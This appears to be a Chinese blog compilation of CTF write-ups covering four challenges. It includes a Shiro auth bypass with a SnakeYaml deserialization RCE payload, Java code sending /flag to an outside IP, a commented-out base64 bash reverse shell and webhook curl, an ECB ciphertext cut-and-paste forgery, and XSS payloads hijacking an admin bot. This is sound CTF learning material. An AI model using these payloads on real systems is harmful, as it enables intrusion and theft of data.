DSCTF-2022-复盘

Web

easy_yaml

进入赛题页面直接F12或ctrl+U查看源码可以看到部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager((org.apache.shiro.mgt.SecurityManager) securityManager());
bean.setLoginUrl("/login");
Map<String, String> filterMap = new LinkedHashMap<>();
filterMap.put("/static/*","anon");
filterMap.put("/load/*", "authc");
bean.setFilterChainDefinitionMap(filterMap);
return bean;
}

@PostMapping(value = "/load/{id}")
@ResponseBody
public String loadyaml(@PathVariable(name = "id") String id, @RequestParam(name = "persondata", defaultValue = "") String persondata) throws IOException, ClassNotFoundException {
Yaml yaml = new Yaml();
Person p = yaml.loadAs(persondata, Person.class);
return p.username;
}

public class Address {
public String street;
public Object ext;
public boolean isValid;
}
public class Person {
public String username;
public String age;
public boolean isLogin;
public Address address;
}

要访问/load/目录必须通过身份认证,但是从给出的源码并没有任何登录的信息,猜测需要绕过身份认证。试了好几个shiro认证绕过,发现/load/%3bxpoint可以绕过成功,即加一个%3b 也就是 ; 的url编码,也就是CVE-2020-13933。这里参考的是:《Java安全之Shiro权限绕过》 https://www.cnblogs.com/nice0e3/p/16248252.html

绕过认证之后即可进入到/load/目录进行下一步操作。可以看到,这里是用 yaml.loadAs() 函数将我们发送的yaml数据以Person类进行加载,下面也给出了Person类的构造,其中username在代码执行顺利的情况下会有回显,参数address则被指定为前面给出的Address类型,而这个类中就有一个参数能够利用,即ext,它能够反序列化为任意类,我们能够在这个地方构造恶意类来getshell。手动构造yaml数据如下:

1
2
3
4
5
6
7
8
username: xp0int
age: 11
isLogin: true
address:
street: xp0int
ext:
恶意类
isValid: true

恶意类的构造也会参照了mi1k7ea师傅的博客:《Java SnakeYaml反序列化漏洞》 https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 这篇文章也汇总了很多其他的一些漏洞。

1
2
3
4
5
6
7
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://ip:1234/"]
]
]
]

这使用了ScriptEngineManager类进行构造,本质上来讲是SPI机制,客户端通过访问服务端的目录下的META-INF/services文件获取自定义实现的类的1类名,再通过Class.forName来进行加载。这也是看了nice0e3师傅的文章学习到的: 《Java安全之SnakeYaml反序列化分析》https://www.cnblogs.com/nice0e3/p/14514882.html

那么剩下的问题就是构造一个恶意类并搭建起提供加载服务的Web应用了,这里可以直接下载github上的项目来快速搭建https://github.com/artsploit/yaml-payload。首先需要修改项目中/src/artsploit/目录下的 AwesomeScriptEngineFactory.java文件,讲函数AwesomeScriptEngineFactory() 的内容修改为我们要执行的代码,随后进行编译在/src/artsploit/目录下生成AwesomeScriptEngineFactory.class。

1
javac src/artsploit/AwesomeScriptEngineFactory.java

随后将/src/文件夹搬到vps上,用python开启简单的web服务即可。

1
python -m http.server --cgi 1234

在远程恶意服务准备好之后就可以开始发送准备好的yaml数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username: xp0int
age: 11
isLogin: true
address:
street: xp0int
ext:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://ip:1234/"]
]
]
]
isValid: true

将以上内容进行url编码,发送到目标网站,随后即会触发反序列化加载远程恶意类读取flag。

在比赛时用Runtime.getRuntime().exec()进行反弹shell,但是一直都没反应,整了好久怀疑是自己的恶意服务没构造好,等着看到W&M的wp:https://blog.wm-team.cn/index.php/archives/21/ 后才想起来,有可能这个方法被禁用了,用其他方式就好了,例如W&M的师傅直接读flag,然后将其构造为GET方法的参数访问自己vps上的服务即可看到get flag。

趁着环境还没关赶紧进行复现。

远程恶意类代码主体如下:

1
2
3
4
5
6
7
8
9
10
11
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
// Runtime.getRuntime().exec("curl https://webhook.site/fb838a03-6b64-404d-a48a-ad6174d83975");
// Runtime.getRuntime().exec("bash -c {echo,YmFzaCUyMC1pJTIwJTNFJTI2L2Rldi90Y3AvMTE5LjkxLjIzOS45OC8yMzMzMyUyMDAlM0UlMjYx}|{base64,-d}|{bash,-i}");
new java.net.URL("http://119.91.239.98:1234/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /load/%3bxp0int HTTP/1.1
Host: 39.105.38.203:30113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 929

persondata=%75%73%65%72%6e%61%6d%65%3a%20%78%70%30%69%6e%74%0a%61%67%65%3a%20%31%31%0a%69%73%4c%6f%67%69%6e%3a%20%74%72%75%65%0a%61%64%64%72%65%73%73%3a%20%0a%20%20%20%20%73%74%72%65%65%74%3a%20%78%70%30%69%6e%74%0a%20%20%20%20%65%78%74%3a%20%0a%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%43%6c%61%73%73%4c%6f%61%64%65%72%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%20%5b%22%68%74%74%70%3a%2f%2f%69%70%3a%31%32%33%34%2f%22%5d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%69%73%56%61%6c%69%64%3a%20%74%72%75%65

MRCTF 2022 复现(一)一道非常有意思的misc (pdd)

这是一道web+crypto题,第一次让我切实体会到ECB加密模式所存在一大缺陷,就是难以抵抗统计攻击,相同明文所对应的密文是一样的,在知道一些明文-密文片段的情况下,可以通过拼接得到我们想要的密文。

简单来说EBC模式下图所示,明文先被分成固定长度的分组,随后每一组进行相同的加密操作得到对应的密文分组,再将其拼接起来即可。

话不多说直接看题目,打开是一个抽奖页面,正常情况下有十次机会,当进度达到100/100的时候即可得到flag。

通过更改X-Forwarded-For修改ip发现剩余抽奖次数刷新,也就是说可以通过无限次抽奖,于是编写代码进行自动抽奖,把进度抽到100那不就可以得到flag了吗?但是pdd终究还是不能信的,抽了白天从99.0抽到了0.99999999999991然后就直接跳到了0.9999987,想要通无限抽奖来使进度达到100是不可能的。

只能寻找别的办法,先来看一下源码,看看具体是干了什么事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
help(t) {
this.$axios.get(`/lucky.php?action=help&udb=${t}`).then((t => {
console.log(t.data);
let e = t.data;
200 === t.data.code ? this.$vToastify.success(e.detail) : this.$vToastify.error(e.detail)
}))
},
randomString(t) {
t = t || 32;
let e = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",
n = e.length,
r = "";
for (let o = 0; o < t; o++) r += e.charAt(Math.floor(Math.random() * n));
return r
},
start() {
let t = "user_" + this.randomString(6);
this.$axios.post("/lucky.php?action=start", { username: t }).then((t => {
console.log(t.data);
let e = t.data;
if (200 === t.data.code) {
let n = t.data.enc;
this.setEnc(n), this.user = { username: e.username, times: e.times, money: e.money },
this.sharelink = `/?udb=${e.userdb}`, this.remain = 100 - this.user.money,
alert(`运气王!恭喜你还差${this.remain}就能免费拿flag`)
} else this.$vToastify.error(e.detail)
}))
},
getUserInfo() {
this.$axios.post("/lucky.php?action=info", { enc: this.getEnc() }).then((t => {
let e = t.data;
if (200 == t.data.code) {
let n = t.data.enc;
this.setEnc(n), this.user = { username: e.username, times: e.times, money: e.money },
this.remain = 100 - this.user.money, this.sharelink = `/?&udb=${e.userdb}`,
100 === e.money && this.getflag()
} else this.$vToastify.error(e.detail), this.logout()
}))
},
logout() { sessionStorage.clear(), localStorage.clear() },
setEnc(t) { sessionStorage.setItem("enc", t), localStorage.setItem("enc", t) },
getEnc() { return localStorage.getItem("enc") },
getFlag() {
this.$axios.post("/lucky.php?action=getFlag", { enc: this.getEnc() }).then((t => {
let e = t.data;
200 === t.data.code ? this.$vToastify.success(e.flag) : this.$vToastify.error(e.detail)
}))
},
startCallback() {
this.$refs.myLucky.play(), this.$axios.post("/lucky.php?action=lucky",
{ enc: this.getEnc() }).then((t => {
let e = t.data;
if (200 == t.data.code) {
let n = t.data.enc;
this.setEnc(n), this.remain -= e.bonus, this.index = e.arg
} else this.index = -1, this.$vToastify.error(e.detail);
this.$refs.myLucky.stop(this.index)
}))
},
endCallback() {
this.getUserInfo(), -1 != this.index && alert(`太棒了${this.prizes[this.index].fonts[0].text}一刀!还剩${this.remain}就能免费拿flag了`) }
},
mounted() {
this.getQueryVariable("udb") && this.help(this.getQueryVariable("udb"));
let t = localStorage.getItem("enc");
t ? this.getUserInfo() : this.start()
}
},

它的运行逻辑为打开网页开始抽奖前会先判断当前是否已经登录,如果没有登录就会随机生成一个用户名进行注册,随后才可以进行抽奖。每次抽奖都会发送enc给服务器,服务器运行抽奖后就会生成新的enc,同时也会返回进度money、次数time、奖励bonus、和序列化信息debug等,如果进度达到100就会获取flag。那么我们就能够从这段代码中提取出与服务器进行交互的数据接口:

url 参数 返回值
/lucky.php?action=help&udb= udb=用户数据库信息 用户查询结果
/lucky.php?action=start username code,enc,username,times,money,remain,userdb,debug
/lucky.php?action=info enc code,enc,username,money,times,userdb
/lucky.php?action=getFlag enc code,flag/detail
/lucky.php?action=lucky enc code,arg,remain,bonus,money,debug

每次抽奖都会交互一个键名为enc键值为base64字符串的键值对,同时还有一个键名为debug键值一串序列化字符串的键值对,而且enc的值和debug的值的变化都是局部变化,而且变化的位置是相对应的,猜想enc的值是对debug的值的加密,而且加密模式很有可能是ECB模式。因为用户名username是可控的,所以可以来验证一下这个猜想,发送几个固定长度的username后观察enc的变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
debug序列化字符串依次为:(长度73)
O:4:"User":3:{s:8:"username";s:3:"123";s:5:"times";i:0;s:5:"money";i:50;}
O:4:"User":3:{s:8:"username";s:3:"120";s:5:"times";i:0;s:5:"money";i:62;}
O:4:"User":3:{s:8:"username";s:3:"110";s:5:"times";i:0;s:5:"money";i:57;}

相对应的enc依次为:
SRMr2xR0uuLsQScgoAegYwrQrdxDA2bfJG2zu/f8n1+A+TMB5YDee3ol2o8qhvX96lZQYpXeLEVisXnuj463nKa6JLxkUp8N6AbFMBuadHI=
SRMr2xR0uuLsQScgoAegYwrQrdxDA2bfJG2zu/f8n1+ytSKLMwHB+38uW0MmS4oA6lZQYpXeLEVisXnuj463nIf5+8R4W7nifRCmLvINSgw=
SRMr2xR0uuLsQScgoAegYwrQrdxDA2bfJG2zu/f8n1/0lOjp3Dr/NylSajbI9u+p6lZQYpXeLEVisXnuj463nLZp2pD6RKVo7oQHJxSovWA=

把enc转为16进制数并按32一组分隔开:(长度为160)
49132bdb1474bae2ec412720a007a063 0ad0addc430366df246db3bbf7fc9f5f 80f93301e580de7b7a25da8f2a86f5fd ea56506295de2c4562b179ee8f8eb79c a6ba24bc64529f0de806c5301b9a7472

49132bdb1474bae2ec412720a007a063 0ad0addc430366df246db3bbf7fc9f5f b2b5228b3301c1fb7f2e5b43264b8a00 ea56506295de2c4562b179ee8f8eb79c 87f9fbc4785bb9e27d10a62ef20d4a0c

49132bdb1474bae2ec412720a007a063 0ad0addc430366df246db3bbf7fc9f5f f494e8e9dc3aff3729526a36c8f6efa9 ea56506295de2c4562b179ee8f8eb79c b669da90fa44a568ee84072714a8bd60

观察到debug字符串的长度刚好接近enc的十六进制数表示的二分之一,而1个字符占8比特,一个十六进制数能够表示4比特,两个十六进制数就可以表示一个字符。那么160个十六进制数能够表示80个字符,也就是说debug的序列化字符串会被填充到80个,80=16*5,这里猜测分组加密是16个字符(32个十六进制数)一组进行加密的,如果序列化字符串不够16的整数倍的话,则会被填充,至于填充的内容是什么呢那就不得而知了。观察这三个enc的十六进制发现只有第3、5组是不一样的,结合这三个enc所表示的username和money不一样,猜测这两个部分应该就是用户名和当前进度所在的位置,至于分别对应那一个我们可以通过拼接enc然后给向服务器查询来获知。

将第一个enc的第三部分替换成第二个enc的第三部分,然后提交到/lucky.php?action=info进行查询就可获得拼接成的enc所表示的信息,通过返回的debug可以发现第三部分表示的是有关用户名的信息,那第五部分就是表示当前进度的块了。如下所示将debug和enc分别按16和32分组对齐:

image-20220430014635634

可以观察到其实就是直接把debug序列化字符串拿去分组加密了,这样的话,我们可以通过控制发送给/lucky.php?action=start的username来获取到任意块的密文也就是所其实我们是得到了一个加密机。那么接下来就是利用加密机来构造出表示进度为100的密文块,从而拼接得到进度为100的用户enc,从而获取flag。

在返回得debug序列化字符串中,包含的内容分别为用户名username,抽奖次数times,当前进度money,我们需要将money的值替换为100,但是其所在位置并不是完整的一个分组所以会被填充字符,在不知道填充字符是什么的情况下我们并不能够伪造得到相应的密文,比赛的时候也是踩了这个坑,去试了好几个填充都不对。等到后来看大佬的做法才发现,原来可以把money的位置前移,使其不会在最后那么也就不必考虑填充的问题。

如下图所示,控制username长度使得分组便于我们进行操作,把原始序列化对象的money属性前移,随后补上其值,最后再将属性补全,因为times是供客户端判断,修改掉并不会产生影响,这样也就构造出了进度为100的用户序列化对象,接下来就是获取相对于的密文了。

前文提到我们只需要控制username就能够得到对应块的密文,所以我们构造内容为0000000000000";s:5:"money";i:100;s:3:"tim";i:的用户名,这样就可以得到上图两个修改后的蓝色块所对应的密文:

1
2
3
4
5
6
7
8
9
10
O:4:"User":3:{s:	49132bdb1474bae2ec412720a007a063
8:"username";s:4 15f621f17ab386f772f62c463899dedd
5:"0000000000000 506ffa9bb6c9e6203423f7dff0acb353

";s:5:"money";i: 1d56d601aaa47d48b75190a7495101c2
100;s:3:"tim";i: db9942cb8f914708c6c3265bd825b812

";s:5:"times";i: ab18b48b4d2709573c5f69fdd22e053c
0;s:5:"money";i: a06e52b7688f7cf039c751ff8b5c30c5
63;} fe58b84deeb172bbc47e811c80434ac4

再将其替换掉原有的密文相应的部分:

1
2
3
4
5
6
O:4:"User":3:{s:	49132bdb1474bae2ec412720a007a063
8:"username";s:1 0973f6da1decade02d33d372a3869726
3:"1230000000000 b01de36b0bca82112784705763ee8073
";s:5:"times";i: ab18b48b4d2709573c5f69fdd22e053c ==> ";s:5:"money";i: 1d56d601aaa47d48b75190a7495101c2
0;s:5:"money";i: a06e52b7688f7cf039c751ff8b5c30c5 ==> 100;s:3:"tim";i: db9942cb8f914708c6c3265bd825b812
68;} ee6c3c234980cf4a510ee40f34ca4a14

即可得到我们想要的密文:

1
2
3
4
5
6
O:4:"User":3:{s:	49132bdb1474bae2ec412720a007a063
8:"username";s:1 0973f6da1decade02d33d372a3869726
3:"1230000000000 b01de36b0bca82112784705763ee8073
";s:5:"money";i: 1d56d601aaa47d48b75190a7495101c2
100;s:3:"tim";i: db9942cb8f914708c6c3265bd825b812
68;} ee6c3c234980cf4a510ee40f34ca4a14

将十六进制表示转为base64:

1
enc=SRMr2xR0uuLsQScgoAegYwlz9tod7K3gLTPTcqOGlyawHeNrC8qCESeEcFdj7oBzHVbWAaqkfUi3UZCnSVEBwtuZQsuPkUcIxsMmW9gluBLubDwjSYDPSlEO5A80ykoU

发送给/lucky.php?action=getFlag即可得到flag:

1
{"code":"200","flag":"MRCTF{Xi_Xi0ngDi_9_Na_Kan_w0!}"}

picoCTF-2022-复盘

WEB

noted

​ 题目给的是一个备忘录网站,创建用户后即可创建备忘录条目,同时还实现了一个bot,即用户提交网站后会被服务器端用chrome打开并访问。可以注意到,每一次在/repot提交url时,服务器都会先随机注册一个账号然后提交flag到备忘录,随后再访问用户提交的url。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();

这里的bot是基于puppeteer实现的,页面访问使用的是page.gotopage.goto(url[, options])这个方法不仅可以直接类似于http://这类链接,而且还可以使用伪协议,类似于page.goto(data:text/html,自定义内容),那么我们就可以在这里动手,直接让服务器把flag发送到我们自己的vps是。但是,答案是否定的,因为服务器端的账户并不能访问外网,这个方法是行不通的。

​ 我们继续看一下views文件夹下的.ejs模板文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>noted | my notes</title>
<%- include('style') %>
</head>
<body>
<h1>My Notes</h1>
<hr>
<% for (let note of notes) { %>
<div>
<h2><%- note.title %></h2>
<p><%- note.content %></p>
<form action="/delete" method="POST">
<input type="hidden" name="_csrf" value="<%- csrf %>">
<input type="hidden" name="id" value="<%- note.id %>">
<input type="submit" value="Delete">
</form>
</div>
<hr>
<% } %>
<br>
<a href='/new'>New Note</a> | <a href='/report'>Report</a>
</body>
</html>

模板中note.title和note.content都是直接填充,也就是说这里是存在存储型xss的。所以就可以让服务器登录我们已知密码的账号,然后将flag提交到已知密码账号的备忘录中,随后我们登录该账号即可获取到flag。攻击流程如下图:

首先现在/register页面注册账户:账号为a密码为a,然后提交以下self-XSS内容到/new页面

1
2
3
4
5
6
7
8
9
10
<iframe src="http://0.0.0.0:8080/new" id=ifra></iframe>
<script>
var flag = window.opener.document.body.textContent;
ifra.onload = () => {
ifra.onload = null;
ifra.contentDocument.forms[0].title.value = 'flag';
ifra.contentDocument.forms[0].content.value = flag;
ifra.contentDocument.forms[0].submit();
}
</script>

接着提交如下内容到/report

1
2
3
4
5
6
7
8
data:text/html,
<script>
window.location = "http://0.0.0.0:8080/notes";
a = window.open('', '');
a.document.body.innerHTML = `<form action="http://0.0.0.0:8080/login" method="post" name=xp id=xp target="_blank"><input type="text" name="username" value="a"><input type="text" name="password" value="a"></form>`;
a.document.xp.submit();
a.location.href = "http://0.0.0.0:8080/notes";
</script>

提交后等待几秒后再次访问已知密码的账户的/notes页面即可获取到flag

AntCTF & Dˆ3CTF-2022-复盘

MISC

Badw3ter

下载下来得到的是一个损坏了头部的wav文件,尝试进行修复:

根据题目描述,联想到Deepsound(https://deepsound.soft112.com/)这个信息隐藏工具,由于提取文件需要工具,而在最开始给的文件头部被修改的部分是明文,将其拼接起来 :CUY1nw31lai ,用于文件提取:

得到一个png图片,但是打不开,winhex打开查看文件头为:49492A00

(可用在线网站查询https://www.tooleyes.com/app/file_signature.html)

将文件后缀改为tiff后即可打开,但是二维码扫描后发现并不是。仔细看可以看到二维码并不是黑白二值图,在ps中打开,查看曲线图:

可以看到,灰度图存在三种颜色,分别为黑色、灰色和白色,既然黑白不是不行,那能不能试试灰黑呢(黑色模式),可以将背景板曝光度调到最低让它变成黑色或者直接加一个黑色的背景板:

然后识别二维码,就得到了flag。